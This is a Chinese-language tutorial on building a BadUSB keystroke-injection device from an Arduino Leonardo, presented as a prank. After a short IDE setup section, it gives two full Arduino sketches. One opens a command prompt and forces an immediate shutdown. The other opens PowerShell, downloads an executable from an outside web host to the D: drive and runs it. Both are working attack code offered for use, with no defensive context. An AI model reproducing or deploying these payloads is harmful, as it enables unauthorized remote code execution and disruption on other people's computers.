材料

  • 硬件
    Arduino Leonardo
    PC一台
    TOG转换线
  • 软件
    Arduino IDE //用于烧录单片机
  • 脑子(这个最重要!!!)

整活

  1. 安装软件
    首先安装好Arduino IDE 网上的教程较多,在此不再赘述(尽量安装最新版的软件这样就可以不用手动装驱动)
    工具->开发板  选择Arduino Leonardo
    工具->端口     选择(开发板对应的端口)
  2. 了解代码结构
    默认情况下,软件为我们创建了两个函数void setup()  void loop(),通常情况下我们编写的函数只需要放在setup() 函数中
    可以看到程序中没有主函数,其实主函数已经集成到了类库中,只要引入头文件#include <Keyboard.h>   <<==>>  C语言中的#include<stdio.h>
  3. 烧录程序

    上传成功截图

    上传成功后,电脑会自动断开USB,然后又会重新连接,那么 Arduino Leonardo就会自动运行了。

烧录代码

关机代码

#include <Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_CAPS_LOCK);//开启大写锁
Keyboard.release(KEY_CAPS_LOCK);
delay(50);
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//按住win+R
Keyboard.release('r');
Keyboard.print("cmd");//输入cmd
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);//回车
delay(500);
Keyboard.print("shutdown -s -t 0");//关机
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);//回车
Keyboard.end();
}

void loop() {
// put your main code here, to run repeatedly:

}

下载执行服务器的文件

#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(200);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd");
delay(200);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("powershell");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$url='https://wanghaoxuan.site/wdnmd.exe';");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$file='d:\\\\server.exe';");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.downloadfile($url,$file);");
Keyboard.press(KEY_RETURN);//按下回车键
delay(500);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("start d:\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
delay(200);
Keyboard.end();//键盘通讯

}

void loop()//循环

{

}

注意‘/’需要转义字


初闻不知曲中意,再听已是曲中人